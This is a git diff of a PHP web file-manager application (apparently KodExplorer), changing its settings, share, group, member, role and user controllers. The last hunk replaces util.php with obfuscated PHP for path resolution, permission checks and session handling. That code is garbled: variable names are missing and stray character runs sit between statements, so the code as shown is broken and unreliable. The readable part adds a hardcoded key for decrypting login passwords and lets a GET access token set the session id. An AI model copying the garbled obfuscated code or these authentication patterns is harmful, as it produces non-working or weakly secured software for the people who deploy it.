$this->config['settingAll'], - 'user' => $this->config['user'] + 'settingAll' => $this->config['settingAll'], + 'user' => $this->config['user'], + 'wallpageDesktop' => $this->config['settingSystem']['wallpageDesktop'], + 'wallpageLogin' => $this->config['settingSystem']['wallpageLogin'], )); break; case 'system': @@ -41,7 +43,6 @@ class setting extends Controller{ if(isset($this->in['env_check'])){ show_json(php_env_check()); } - $result = $this->config['settingSystem']; unset($result['systemPassword']); show_json($result,true); @@ -100,8 +101,8 @@ class setting extends Controller{ $sql = systemMember::loadData(); $user_arr = $sql->get(); foreach ($user_arr as $key => $user) { - $userPath = USER_PATH.$user['path']."/"; - $pathArr = array( + $userPath = iconv_system(USER_PATH.$user['path']."/"); + $pathArr = array( $userPath.'data/temp', $userPath.'data/share_temp', $userPath.'recycle_kod' diff --git a/app/controller/share.class.php b/app/controller/share.class.php index f55a79d..b00a176 100755 --- a/app/controller/share.class.php +++ b/app/controller/share.class.php @@ -63,12 +63,15 @@ class share extends Controller{ //密码检测 if ($shareInfo['sharePassword']=='') return; if (!isset($this->in['password'])){ - if ($_SESSION['password_'.$this->in['sid']]==$shareInfo['sharePassword']) return; + if ($_SESSION['password_'.$this->in['sid']]==$shareInfo['sharePassword']){ + return; + } $this->_error('password'); }else{ if ($this->in['password'] == $shareInfo['sharePassword']) { session_start(); $_SESSION['password_'.$this->in['sid']]=$shareInfo['sharePassword']; + session_write_close(); show_json('success'); }else{ show_json(LNG('share_error_password'),false); @@ -215,6 +218,7 @@ class share extends Controller{ 'webHost' => HOST, 'appHost' => APP_HOST, 'staticPath' => STATIC_PATH, + 'appIndex' => $_SERVER['SCRIPT_NAME'], 'version' => KOD_VERSION, 'versionDesc' => $versionDesc, 'kodID' => md5(BASIC_PATH.$this->config['settingSystem']['systemPassword']), @@ -240,6 +244,8 @@ class share extends Controller{ 'KOD_USER_FAV' => KOD_USER_FAV, 'KOD_GROUP_ROOT_SELF' => KOD_GROUP_ROOT_SELF, 'KOD_GROUP_ROOT_ALL' => KOD_GROUP_ROOT_ALL, + 'ST' => $this->in['st'], + 'ACT' => $this->in['act'], ); $userConfig = $GLOBALS['config']['settingDefault']; @@ -251,6 +257,7 @@ class share extends Controller{ if(isset($this->config['settingSystem']['versionHash'])){ $theConfig['versionHash'] = $this->config['settingSystem']['versionHash']; + $theConfig['versionHashUser'] = $this->config['settingSystem']['versionHashUser']; } $theConfig['userConfig'] = $userConfig; $useTime = mtime() - $GLOBALS['config']['appStartTime']; @@ -260,7 +267,11 @@ class share extends Controller{ Hook::trigger('user.commonJs.insert',$this->in['st'],$this->in['act']); echo 'AUTH=[];'; echo 'G='.json_encode($theConfig).';'; - echo 'LNG='.json_encode(I18n::getAll()).';G.useTime='.$useTime.';'; + $lang = json_encode_force(I18n::getAll()); + if(!$lang){ + $lang = '{}'; + } + echo 'LNG='.$lang.';G.useTime='.$useTime.';'; } @@ -523,16 +534,12 @@ class share extends Controller{ } $data = array( 'ext' => get_path_ext($displayName), - 'name' => iconv_app(get_path_this($displayName)), + 'name' => iconv_app(get_path_this($displayName)), 'filename' => $displayName, 'charset' => $charset, - 'base64' => false, - 'content' => $fileContents - ); - if(!json_encode(array("data"=>$fileContents))){ - $data['content'] = base64_encode($fileContents); - $data['base64'] = true; - } + 'base64' => true,// 部分防火墙编辑文件误判问题处理 + 'content' => base64_encode($fileContents) + ); show_json($data); } @@ -546,7 +553,8 @@ class share extends Controller{ exit; } if (@filesize($this->path) <= 1024*50 || - !function_exists('imagecolorallocate') ) {//小于50k或者不支持gd库 不再生成缩略图 + !function_exists('imagecolorallocate') || + get_path_ext($this->path) == 'gif') {//小于50k、不支持gd库、gif图 不再生成缩略图 file_put_out($this->path,false); return; } diff --git a/app/controller/systemGroup.class.php b/app/controller/systemGroup.class.php index 6e25683..d1b9971 100755 --- a/app/controller/systemGroup.class.php +++ b/app/controller/systemGroup.class.php @@ -88,7 +88,7 @@ class systemGroup extends Controller{ ) ); $this->sql->reset($default); - $this->_initDir($default[0]['path']); + $this->initDir($default[0]['path']); } //删除 path id public static function _filterList($list,$filter_key = 'path'){ @@ -118,9 +118,9 @@ class systemGroup extends Controller{ $groupID = $this->sql->getMaxId().''; $groupName = rawurldecode($this->in['name']); $groupInfo = array( - 'groupID' => $groupID, + 'groupID' => $groupID, 'name' => $groupName, - 'parentID' => $this->in['parentID'], + 'parentID' => $this->in['parentID'], 'children' => '', 'config' => array('sizeMax' => floatval($this->in['sizeMax']),//G 'sizeUse' => floatval(1024*1024)),//总大小,目前使用大小 @@ -142,7 +142,7 @@ class systemGroup extends Controller{ } $this->_parentChildChange($groupInfo,true);//更新父节点 if ($this->sql->set($groupID,$groupInfo)) { - $this->_initDir($groupInfo['path']); + $this->initDir($groupInfo['path']); show_json(LNG('success')); } show_json(LNG('error'),false); @@ -170,7 +170,8 @@ class systemGroup extends Controller{ $this->in['parentID']!=$groupInfo['parentID']){//父节点变更 $childChange = explode(',',$groupInfo['children']); - if(in_array($this->in['parentID'],$childChange)){//不能移动到子节点;死循环 + if( in_array($this->in['parentID'],$childChange) + || $this->in['parentID'] == $this->in['groupID']){//不能移动到子节点;死循环 show_json(LNG('current_has_parent'),false); } self::spaceChange($this->in['groupID']);//重置用户使用空间 @@ -204,9 +205,9 @@ class systemGroup extends Controller{ $groupInfo = $this->sql->get($this->in['groupID']); $this->_parentChildChange($groupInfo,false);//向所有父节点,删除包含此节点的children $this->sql->set(//将该节点的子节点的父节点设置为根目录 - array('parentID',$groupInfo["groupID"]), - array('parentID','1') - ); + array('parentID',$groupInfo["groupID"]), + array('parentID','1') + ); systemMember::groupRemoveUserUpdate($groupInfo["groupID"]);//用户所在组变更 $this->sql->remove($this->in['groupID']); @@ -263,12 +264,9 @@ class systemGroup extends Controller{ /** *初始化用户数据和配置。 */ - private function _initDir($path){ + public function initDir($path){ $root = array('home','data'); $newGroupFolder = $this->config['settingSystem']['newGroupFolder']; - if(!is_array($newGroupFolder)){ - $newGroupFolder = $this->config['settingSystemDefault']['newGroupFolder']; - } $home = explode(',',$newGroupFolder); $path = GROUP_PATH.$path.'/'; foreach ($root as $dir) { diff --git a/app/controller/systemMember.class.php b/app/controller/systemMember.class.php index 2df8ff4..f8fe445 100755 --- a/app/controller/systemMember.class.php +++ b/app/controller/systemMember.class.php @@ -148,8 +148,11 @@ class systemMember extends Controller{ return $list; } + //含有密码则不罗列 foreach($list as $key=>&$val){ - unset($val['sharePassword']); + if($val['sharePassword']){ + unset($list[$key]); + } } return $list; } @@ -205,6 +208,22 @@ class systemMember extends Controller{ show_json($result); } + /** + * 获取用户列表数据,根据用户组筛选;默认输出所有用户 + */ + public function getByName($name = '') { + if(!$name){ + $name = $this->in['name']; + } + $result = $this->sql->get(array('name',$name)); + if(is_array($result) && count($result)>0){ + $arr = array_values($result); + unset($arr[0]['password']); + show_json($arr[0]); + } + show_json(LNG("not_exists"),false); + } + /** * 用户添加 * systemMember/add&name=warlee&password=123&sizeMax=0&groupInfo={"0":"read","10":"write"}&role=default @@ -226,7 +245,7 @@ class systemMember extends Controller{ show_json(LNG('systemMember_group_error'),false); } if($this->sql->get(array('name',$name))){ - show_json(LNG('error_repeat'),false); + show_json(LNG('error_repeat'),false,$name); } //非系统管理员,不能添加系统管理员 @@ -258,6 +277,7 @@ class systemMember extends Controller{ $userInfo = array( 'userID' => $userID, 'name' => $val, + 'nickName' => $this->in['nickName'], 'password' => md5($password), 'role' => $this->in['role'], 'config' => array('sizeMax' => floatval($this->in['sizeMax']),//M @@ -282,21 +302,25 @@ class systemMember extends Controller{ unset($userInfo['homePath']); } if ($this->sql->set($userID,$userInfo)) { - $this->_initDir($userInfo['path']); + $this->initDir($userInfo['path']); }else{ $errorArr[] = $val; } } $success = count($userArray)-count($errorArr); - $show = " success:$success"; + $msg = LNG('success'); + if(count($errorArr) > 0 ){ + $msg = LNG('word_success').' : '.$success.', ';//部分失败 + if($success == 0 ){ + $msg = LNG('error_repeat'); + } + $msg .= LNG('word_error').' : '.count($errorArr); + } if($success==count($userArray)){ - show_json(LNG('success').$show,true,$success); - }else if($success!=0){//部分失败 - $errorInfo = " error:".count($errorArr); - show_json(LNG('success').$show.$errorInfo,false,implode("\n",$errorArr)); + show_json($msg,true,$success); }else{ - show_json(LNG('error_repeat'),false); + show_json($msg,false,implode("\n",$errorArr)); } } @@ -337,7 +361,7 @@ class systemMember extends Controller{ } $this->in['name'] = rawurlencode($theName);//还原 - $editArr = array('name','role','password','groupInfo','homePath','status','sizeMax'); + $editArr = array('name','nickName','role','password','groupInfo','homePath','status','sizeMax'); foreach ($editArr as $key) { if(!isset($this->in[$key])) continue; $userInfo[$key] = rawurldecode($this->in[$key]); @@ -402,6 +426,12 @@ class systemMember extends Controller{ $status = intval($this->in['param']); $this->sql->set(array('userID',$userID),array('status',$status)); break; + case 'spaceSet'://批量设置用户空间大小 + $value = intval($this->in['param']); + $userInfo = $this->sql->get($userID); + $userInfo['config']['sizeMax'] = $value; + $this->sql->set($userID,$userInfo); + break; case 'roleSet'://设置权限组 $role = $this->in['param']; //非系统管理员,不能将别人设置为系统管理员 @@ -431,8 +461,8 @@ class systemMember extends Controller{ $userInfo = $this->sql->get($userID); foreach ($groupArr as $key => $value) { $userInfo['groupInfo'][$key] = $value; - } - $this->sql->set($userID,$userInfo); + } + $this->sql->set($userID,$userInfo); default:break; } } @@ -444,7 +474,7 @@ class systemMember extends Controller{ $list = $sql->get(); foreach ($list as $id => &$info) {//创建用户目录及初始化 $path = make_path($info['name']); - $this->_initDir($path); + $this->initDir($path); $info['path'] = $path; $info['createTime'] = time(); } @@ -470,7 +500,7 @@ class systemMember extends Controller{ /** *初始化用户数据和配置。 */ - private function _initDir($path){ + public function initDir($path){ $userFolder = array('home','recycle_kod','data'); $homeFolders = explode(',',$this->config['settingSystem']['newUserFolder']); $rootPath = USER_PATH.$path.'/'; diff --git a/app/controller/systemRole.class.php b/app/controller/systemRole.class.php index ac668b9..6be2ac6 100755 --- a/app/controller/systemRole.class.php +++ b/app/controller/systemRole.class.php @@ -41,7 +41,8 @@ class systemRole extends Controller{ */ public function add(){ $role = $this->_initData(); - $role['roleID'] = $this->sql->getMaxId().''; + $roleId = $role['roleID'] = $this->sql->getMaxId().''; + $this->_checkExist( $this->sql->get(),array('name',$role['name']),$roleId ); if ($this->sql->set($role['roleID'],$role)) { show_json(LNG('success'),true,$role['roleID']); } @@ -54,6 +55,7 @@ class systemRole extends Controller{ public function edit(){ $role = $this->_initData(); $roleId = $this->in['roleID']; + $this->_checkExist( $this->sql->get(),array('name',$role['name']),$roleId ); if ($this->sql->set($roleId,$role)){ show_json(LNG('success'),true,$roleId); } @@ -94,6 +96,8 @@ class systemRole extends Controller{ $roleId = $sql->getMaxId().''; $roleArr = json_decode($this->in['role_arr'],true); if(!is_array($roleArr)) show_json(LNG('error'),false); + if(!trim($roleArr['name'])) show_json(LNG("data_not_full"),false); + $this->_checkExist( $sql->get(),array('name',$roleArr['name']),$roleId); if ($sql->set($roleId,$roleArr)) { show_json(array($roleId),true,$sql->get()); } @@ -103,6 +107,8 @@ class systemRole extends Controller{ $roleId = $this->in['roleID']; $roleArr = json_decode($this->in['role_arr'],true); if(!is_array($roleArr)) show_json(LNG('error'),false); + if(!trim($roleArr['name'])) show_json(LNG("data_not_full"),false); + $this->_checkExist( $sql->get(),array('name',$roleArr['name']),$roleId); if ($sql->set($roleId,$roleArr)){ show_json(LNG('success'),true,$sql->get()); } @@ -122,6 +128,20 @@ class systemRole extends Controller{ } } + //检测是否存在 + private function _checkExist($data,$find,$checkID){ + $findData = array(); + foreach ($data as $key => $val) { + if ($val[$find[0]] == $find[1]) { + $findData[$key] = $data[$key]; + } + } + if(is_array($findData) && count($findData)>0 ){ + $key = array_keys($findData);$key=$key[0]; + if($key != $checkID) show_json(LNG("error_repeat"),false); + } + } + //===========内部调用============ /** diff --git a/app/controller/user.class.php b/app/controller/user.class.php index 818bbee..c7a2b83 100755 --- a/app/controller/user.class.php +++ b/app/controller/user.class.php @@ -35,6 +35,9 @@ class user extends Controller{ $this->notCheckApp = array('pluginApp.to','api.view'); } $this->config['forceWap'] = is_wap() && (!isset($_COOKIE['forceWap']) || $_COOKIE['forceWap'] == '1'); + if( isset($_GET['forceWap']) ){ + $this->config['forceWap'] = $_GET['forceWap']; + } } public function bindHook(){ @@ -62,7 +65,7 @@ class user extends Controller{ if (!is_array($user) || !isset($user['password'])) { $this->logout(); } - if($this->_makeLoginToken($user) == $_COOKIE['kodToken']){ + if($this->_makeLoginToken($user) === $_COOKIE['kodToken']){ @session_start();//re start $_SESSION['kodLogin'] = true; $_SESSION['kodUser']= $user; @@ -207,8 +210,13 @@ class user extends Controller{ } $this->login($error); } - - + public function accessToken(){ + if($_SESSION['kodLogin'] === true){ + show_json(access_token_get(),true); + }else{ + show_json('not login!',false); + } + } //临时文件访问 public function publicLink(){ @@ -240,8 +248,9 @@ class user extends Controller{ 'userID' => $this->user['userID'], 'webRoot' => $GLOBALS['webRoot'], 'webHost' => HOST, - 'appHost' => APP_HOST, + 'appHost' => APP_HOST, 'staticPath' => STATIC_PATH, + 'appIndex' => $_SERVER['SCRIPT_NAME'], 'basicPath' => $basicPath, 'userPath' => $userPath, 'groupPath' => $groupPath, @@ -274,9 +283,12 @@ class user extends Controller{ 'KOD_USER_FAV' => KOD_USER_FAV, 'KOD_GROUP_ROOT_SELF' => KOD_GROUP_ROOT_SELF, 'KOD_GROUP_ROOT_ALL' => KOD_GROUP_ROOT_ALL, + 'ST' => $this->in['st'], + 'ACT' => $this->in['act'], ); if(isset($this->config['settingSystem']['versionHash'])){ $theConfig['versionHash'] = $this->config['settingSystem']['versionHash']; + $theConfig['versionHashUser'] = $this->config['settingSystem']['versionHashUser']; } if (!isset($GLOBALS['auth'])) { $GLOBALS['auth'] = array(); @@ -288,7 +300,12 @@ class user extends Controller{ Hook::trigger('user.commonJs.insert',$this->in['st'],$this->in['act']); echo 'AUTH='.json_encode($GLOBALS['auth']).';'; echo 'G='.json_encode($theConfig).';'; - echo 'LNG='.json_encode(I18n::getAll()).';G.useTime='.$useTime.';'; + + $lang = json_encode_force(I18n::getAll()); + if(!$lang){ + $lang = '{}'; + } + echo 'LNG='.$lang.';G.useTime='.$useTime.';'; } /** @@ -370,7 +387,7 @@ class user extends Controller{ count($param) != 2 || md5(base64_decode($param[0]).$api_token) != $param[1] ){ - $this->_loginDisplay("Api param error!",false); + $this->_loginDisplay("API 接口参数错误!",false); } $this->in['name'] = urlencode(base64_decode($param[0])); $apiLoginCheck = true; @@ -387,10 +404,16 @@ class user extends Controller{ $name = rawurldecode($this->in['name']); $password = rawurldecode($this->in['password']); + + if($this->in['salt']){ + $key = substr($password,0,5)."2&$%@(*@(djfhj1923"; + $password = Mcrypt::decode(substr($password,5),$key); + } + $member = systemMember::loadData(); $user = $member->get('name',$name); if($apiLoginCheck && $user){//api自动登陆 - }else if ($user === false || md5($password)!=$user['password']){ + }else if ($user === false || md5($password) !== $user['password']){ $this->_loginDisplay(LNG('password_error'),false);//$member->get() }else if($user['status'] == 0){ $this->_loginDisplay(LNG('login_error_user_not_use'),false); diff --git a/app/controller/util.php b/app/controller/util.php index 2c45987..f00a259 100755 --- a/app/controller/util.php +++ b/app/controller/util.php @@ -1,2 +1,2 @@ -请检查php.ini,需要开启模块:
session,json,curl,exif,mbstring,ldap,gd,pdo,pdo-mysql,xml

|1|2|6accessToken|1|2|6access_token|1|2|6SaeStorage|1|2|6SAE_APPNAME|1|2|6SESSION_PATH_DEFAULT|1|2|6session.save_handler|1|2|6files|1|2|6HTTP_APPNAME|1|2|6kod|1|2|6服务器session写入失败! (session write error)
|1|2|6请检查php.ini相关配置,查看磁盘是否已满,或咨询服务商。

|1|2|6session.save_path=|1|2|6
|1|2|6session.save_handler=|1|2|6settingSystem|1|2|6systemPassword|1|2|6kodExplorer_|1|2|6accessToken error!');݁ͽԼЂ; - define($GLOBALS{}[0],$GLOBALS{}{0x001});define($GLOBALS{}[0x0002],$GLOBALS{}{0x00003});define($GLOBALS{}[0x000004],$GLOBALS{}{0x05});define($GLOBALS{}[0x006],$GLOBALS{}{0x0007});define($GLOBALS{}[0x00008],$GLOBALS{}{0x000009});define($GLOBALS{}[0x0a],$GLOBALS{}{0x00b});define($GLOBALS{}[0x000c],$GLOBALS{}{0x0000d});define($GLOBALS{}[0x00000e],$GLOBALS{}{0x0f});function _DIR_CLEAR($){$ص=&$GLOBALS{};$=str_replace($ص[0x0010],$ص{0x00011},trim($));$=preg_replace($ص[0x000012],$ص{0x00011},$);$޹=$;if(isset($GLOBALS[$ص{0x0000013}])&& $GLOBALS[$ص{0x0000013}]){return $;}$=$ص[0x014];if(substr($,0,0x00003)==$ص{0x0015}){$=substr($,0x00003);}while(strstr($,$)){$=str_replace($,$ص{0x00011},$);}$=preg_replace($ص[0x000012],$ص{0x00011},$);return $;}function _DIR($){$=&$GLOBALS{};$ȴ=_DIR_CLEAR($);$ȴ=iconv_system($ȴ);$=array(KOD_GROUP_PATH,KOD_GROUP_SHARE,KOD_USER_SELF,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL,KOD_USER_SHARE,KOD_USER_RECYCLE,KOD_USER_FAV,);ҴĐńدϊڢ핏;$GLOBALS[$[0x00016]]=${0x000017};ꮾ؈޹;$GLOBALS[$[0x0000018]]=HOME;$GLOBALS[${0x019}]=${0x000017};unset($GLOBALS[$[0x001a]]);΂˰;foreach($ as $){if(substr($ȴ,0,strlen($))==$){$GLOBALS[$[0x00016]]=$;$얟=explode(${0x00011},$ȴ);$=$얟[0];unset($얟[0]);$Ī=implode(${0x00011},$얟);$=explode(${0x0001b},$);if(count($)>0x001){$GLOBALS[${0x019}]=trim($[0x001]);}else{$GLOBALS[${0x019}]=${0x000017};}break;}}switch($GLOBALS[$[0x00016]]){case ${0x000017}:$ȴ=iconv_system(HOME).$ȴ;蕵ݕ󽣟;break;ˠ;case KOD_USER_RECYCLE:$GLOBALS[$[0x0000018]]=trim(USER_RECYCLE,${0x00011});ǹ;$GLOBALS[${0x019}]=${0x000017};return iconv_system(USER_RECYCLE).${0x00011}.str_replace(KOD_USER_RECYCLE,${0x000017},$ȴ);ҵ֎;case KOD_USER_SELF:$GLOBALS[$[0x0000018]]=trim(HOME_PATH,${0x00011});؏ވ˿;$GLOBALS[${0x019}]=${0x000017};return iconv_system(HOME_PATH).${0x00011}.str_replace(KOD_USER_SELF,${0x000017},$ȴ);㮰ɶ;case KOD_USER_FAV:$GLOBALS[$[0x0000018]]=trim(KOD_USER_FAV,${0x00011});$GLOBALS[${0x019}]=${0x000017};return KOD_USER_FAV;ВٗГ󀹻ىۣ󭶿͉̒ڷ;case KOD_GROUP_ROOT_SELF:$GLOBALS[$[0x0000018]]=trim(KOD_GROUP_ROOT_SELF,${0x00011});௮Ӣ≜ץͥ܂ͤӚܘʥÞ;$GLOBALS[${0x019}]=${0x000017};return KOD_GROUP_ROOT_SELF;case KOD_GROUP_ROOT_ALL:$GLOBALS[$[0x0000018]]=trim(KOD_GROUP_ROOT_ALL,${0x00011});$GLOBALS[${0x019}]=${0x000017};궽;return KOD_GROUP_ROOT_ALL;case KOD_GROUP_PATH:$=systemGroup::getInfo($GLOBALS[${0x019}]);if(!$GLOBALS[${0x019}]|| !$)return !1;owner_group_check($GLOBALS[${0x019}]);㘑ͨښ̩Ω;$GLOBALS[$[0x0000018]]=group_home_path($);$ȴ=iconv_system($GLOBALS[$[0x0000018]]).$Ī;ٸͧہ紊˕ǎǷ񶤝;break;؁罹ܪם;case KOD_GROUP_SHARE:$=systemGroup::getInfo($GLOBALS[${0x019}]);;if(!$GLOBALS[${0x019}]|| !$)return !1;owner_group_check($GLOBALS[${0x019}]);͔գȁȭڟݷߕʱժɐ赮ˍąՌū禲;$GLOBALS[$[0x0000018]]=group_home_path($).$[0x00001c];$ȴ=iconv_system($GLOBALS[$[0x0000018]]).$Ī;break;韭㳞֠;case KOD_USER_SHARE:$=systemMember::getInfo($GLOBALS[${0x019}]);if(!$GLOBALS[${0x019}]|| !$)return !1;if($GLOBALS[${0x019}]!=$_SESSION[${0x000001d}][$[0x01e]]){$Ƶ=$GLOBALS[${0x001f}][$[0x00020]][${0x000021}][$[0x0000022]];path_role_check($Ƶ);}$GLOBALS[$[0x0000018]]=${0x000017};$GLOBALS[$[0x001a]]=$;ãפ;if($Ī==${0x000017}){return $ȴ;}else{$=explode(${0x00011},$Ī);$[0]=iconv_app($[0]);$=systemMember::userShareGet($GLOBALS[${0x019}],$[0]);$GLOBALS[${0x023}]=$;$GLOBALS[$[0x001a]]=KOD_USER_SHARE.${0x0001b}.$GLOBALS[${0x019}].${0x00011}.$[0].${0x00011};unset($[0]);if(!$)return !1;$ȝ=rtrim($[$[0x0024]],${0x00011}).${0x00011}.iconv_app(implode(${0x00011},$));ڂӽϗޗӈ;if($[${0x00025}]!=${0x000021}){$=user_home_path($);$GLOBALS[$[0x0000018]]=$.rtrim($[$[0x0024]],${0x00011}).${0x00011};$ȴ=$.$ȝ;}else{$GLOBALS[$[0x0000018]]=$[$[0x0024]];$ȴ=$ȝ;}if($[$[0x000026]]==${0x0000027}){$GLOBALS[$[0x001a]]=rtrim($GLOBALS[$[0x001a]],${0x00011});$GLOBALS[$[0x0000018]]=rtrim($GLOBALS[$[0x0000018]],${0x00011});}$ȴ=iconv_system($ȴ);}break;default:break;ћ;}if($ȴ!=${0x00011}){$ȴ=rtrim($ȴ,${0x00011});if(is_dir($ȴ))$ȴ=$ȴ.${0x00011};}return $ȴ;}function _DIR_OUT($){$ڙ=&$GLOBALS{};if(is_array($)){foreach($[$ڙ[0x028]] as $=>&$׻){$׻[$ڙ[0x0024]]=preClear($׻[$ڙ[0x0024]]);}foreach($[$ڙ{0x0029}] as $=>&$׻){$׻[$ڙ[0x0024]]=preClear(rtrim($׻[$ڙ[0x0024]],$ڙ{0x00011}).$ڙ{0x00011});}}else{$=preClear($);}return $;}function preClear($){$仑=&$GLOBALS{};$=$GLOBALS[$仑[0x00016]];낌ľԟٖ;$=rtrim($GLOBALS[$仑[0x0000018]],$仑{0x00011});澑ܻתЅ͵էӅ;$=array(KOD_USER_FAV,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL);۟;if(isset($GLOBALS[$仑[0x00016]])&& in_array($GLOBALS[$仑[0x00016]],$)){return $;}if(ST==$仑[0x0002a]){return str_replace($,$仑{0x000017},$);}if($GLOBALS[$仑{0x019}]!=$仑{0x000017}){$.=$仑{0x0001b}.$GLOBALS[$仑{0x019}].$仑{0x00011};}if(isset($GLOBALS[$仑[0x001a]])){$=$GLOBALS[$仑[0x001a]];}$=$.str_replace($,$仑{0x000017},$);$=str_replace($仑{0x00002b},$仑{0x00011},$);return $;ɰޤ;}include(CLASS_DIR.$GLOBALS{}[0x000002c]);function owner_group_check($){$=&$GLOBALS{};if(!$)show_json(LNG(${0x02d}).$,!1);if($GLOBALS[${0x0000013}]||(isset($GLOBALS[$[0x002e]])&& $GLOBALS[$[0x002e]]===!0)){return;}$=systemMember::userAuthGroup($);if($==!1){if($GLOBALS[$[0x00016]]==KOD_GROUP_PATH){show_json(LNG(${0x0002f}),!1);}else if($GLOBALS[$[0x00016]]==KOD_GROUP_SHARE){$=$GLOBALS[${0x001f}][$[0x00020]][${0x000021}];}}else{$=$GLOBALS[${0x001f}][$[0x000030]][$];}path_role_check($[$[0x0000022]]);}function path_role_check($){$=&$GLOBALS{};if($GLOBALS[${0x0000013}]||(isset($GLOBALS[$[0x002e]])&& $GLOBALS[$[0x002e]]===!0)){return;}$=role_permission_arr($);$GLOBALS[${0x0000031}]=$;if(!isset($[ST.$[0x032].ACT])&& ST!=$[0x0002a]){show_json(LNG(${0x0033}),!1);}}function role_permission_arr($){$=&$GLOBALS{};$=array();߽ɿǒھśߩ؂ݿ;$=$GLOBALS[${0x001f}][$[0x00034]];foreach($ as $=>$){if(!$)continue;$=explode(${0x0001b},$);̉ꁀƻÎ܆Ũ̚׸׃۟ǡŞ؈ζ߭߾ŭ؝Ж;if(count($)==0x0002&& is_array($[$[0]])&& is_array($[$[0]][$[0x001]])){$=array_merge($,$[$[0]][$[0x001]]);}}$=array();Ë;foreach($ as $){$[$]=${0x000021};廊盪Ҝӛަڨӊ;}return $;Ǚ燾°Ǩȍ;}function check_file_writable_user($){$=&$GLOBALS{};if(!isset($GLOBALS[$[0x00016]])){_DIR($);}$=${0x000035};if($GLOBALS[${0x0000013}])return @is_writable($);if($GLOBALS[$[0x0000036]][$]!=${0x000021}){return !1;}if($GLOBALS[$[0x00016]]==KOD_GROUP_PATH&& is_array($GLOBALS[${0x0000031}])&& $GLOBALS[${0x0000031}][$]==${0x000021}){return !0;}if($GLOBALS[$[0x00016]]==${0x000017} || $GLOBALS[$[0x00016]]==KOD_USER_SELF){return !0;}return !1;}function space_size_use_check(){$=&$GLOBALS{};if(!system_space())return;if($GLOBALS[${0x0000013}]==0x001)return;if(isset($GLOBALS[${0x037}])&& isset($GLOBALS[${0x019}])&& $GLOBALS[${0x037}]==$GLOBALS[${0x019}]){return;}if($GLOBALS[$[0x00016]]==KOD_GROUP_SHARE|| $GLOBALS[$[0x00016]]==KOD_GROUP_PATH){systemGroup::spaceCheck($GLOBALS[${0x019}]);}else{if(ST==$[0x0002a]){$҃=$GLOBALS[$[0x0038]][${0x00039}];}else{$҃=$_SESSION[${0x000001d}][$[0x01e]];}systemMember::spaceCheck($҃);}}function spaceSizeChange($,$=true,$=false,$=false){$=&$GLOBALS{};if(!system_space())return;if($===!1){$=$GLOBALS[$[0x00016]];$=$GLOBALS[${0x019}];}$=$?0x001:-0x001;if(is_file($)){$=get_filesize($);}else if(is_dir($)){$̠=_path_info_more($);$=$̠[$[0x00003a]];}else{return;}if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){systemGroup::spaceChange($,$*$);}else{if(ST==$[0x0002a]){$ʴڴ=$GLOBALS[$[0x0038]][${0x00039}];}else{$ʴڴ=$_SESSION[${0x000001d}][$[0x01e]];}systemMember::spaceChange($ʴڴ,$*$);}}function spaceSizeChange_move($){$=&$GLOBALS{};if(isset($GLOBALS[${0x037}])&& isset($GLOBALS[${0x019}])){if($GLOBALS[${0x037}]==$GLOBALS[${0x019}]){return;}else{spaceSizeChange($);spaceSizeChange($,!1,$GLOBALS[${0x000003b}],$GLOBALS[${0x037}]);}}else{spaceSizeChange($);}}function space_size_use_reset(){$=&$GLOBALS{};if(!system_space())return;$=isset($GLOBALS[$[0x00016]])?$GLOBALS[$[0x00016]]:${0x000017};$=isset($GLOBALS[${0x019}])?$GLOBALS[${0x019}]:${0x000017};if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){systemGroup::spaceChange($);}else{$=$_SESSION[${0x000001d}][$[0x01e]];systemMember::spaceChange($);}}function init_space_size_hook(){$͸Ӡ=&$GLOBALS{};Hook::bind($͸Ӡ[0x03c],$͸Ӡ{0x003d});șƝ;Hook::bind($͸Ӡ[0x0003e],$͸Ӡ{0x00003f});יܑӇ說ս׽长;Hook::bind($͸Ӡ[0x0000040],$͸Ӡ{0x003d});ۅӜԁ̭;Hook::bind($͸Ӡ{0x041},$͸Ӡ{0x003d});Hook::bind($͸Ӡ[0x0042],$͸Ӡ{0x003d});Hook::bind($͸Ӡ{0x00043},$͸Ӡ{0x003d});િ;Hook::bind($͸Ӡ[0x000044],$͸Ӡ{0x003d});Hook::bind($͸Ӡ{0x0000045},$͸Ӡ{0x003d});Ǣ͇;Hook::bind($͸Ӡ[0x046],$͸Ӡ{0x003d});Hook::bind($͸Ӡ{0x0047},$͸Ӡ{0x00003f});Hook::bind($͸Ӡ[0x00048],$͸Ӡ{0x00003f});ΐҎ׮йɖڔ‡Ŗ;Hook::bind($͸Ӡ{0x000049},$͸Ӡ{0x00003f});NJˡ;Hook::bind($͸Ӡ[0x000004a],$͸Ӡ{0x00003f});Hook::bind($͸Ӡ{0x04b},$͸Ӡ{0x003d});;Hook::bind($͸Ӡ[0x004c],$͸Ӡ{0x0004d});Hook::bind($͸Ӡ[0x00004e],$͸Ӡ{0x000004f});}function init_session(){$=&$GLOBALS{};if(!function_exists($[0x050])){show_tips(${0x0051});}if(isset($_GET[$[0x00052]])){access_token_check($_GET[$[0x00052]]);}else if(isset($_GET[${0x000053}])){access_token_check($_GET[${0x000053}]);}else{@session_name(SESSION_ID);}$ǘ=@session_save_path();if(class_exists($[0x0000054])|| defined(${0x055})|| defined($[0x0056])|| @ini_get(${0x00057})!=$[0x000058] || isset($_SERVER[${0x0000059}])){}else{chmod_path(KOD_SESSION,0777);@session_save_path(KOD_SESSION);}@session_start();$_SESSION[$[0x05a]]=0x001;಻Ӏ;@session_write_close();Зո۪ʶ甭ނ鈵社Չۻيԉ;unset($_SESSION);߀à߂բ;@session_start();ё;if(!$_SESSION[$[0x05a]]){@session_save_path($ǘ);@session_start();$_SESSION[$[0x05a]]=0x001;@session_write_close();unset($_SESSION);@session_start();}if(!$_SESSION[$[0x05a]]){show_tips(${0x005b}.$[0x0005c].${0x00005d}.$ǘ.$[0x000005e].${0x05f}.@ini_get(${0x00057}).$[0x000005e]);}}function access_token_check($){$З=&$GLOBALS{};$=$GLOBALS[$З{0x001f}][$З[0x0060]][$З{0x00061}];$=substr(md5($З[0x000062].$),0,0x0f);$=Mcrypt::decode($,$);if(!$){show_tips($З{0x0000063});}if($_COOKIE[SESSION_ID]&& $_COOKIE[SESSION_ID]!==$){@session_name(SESSION_ID);return;}session_id($);}function 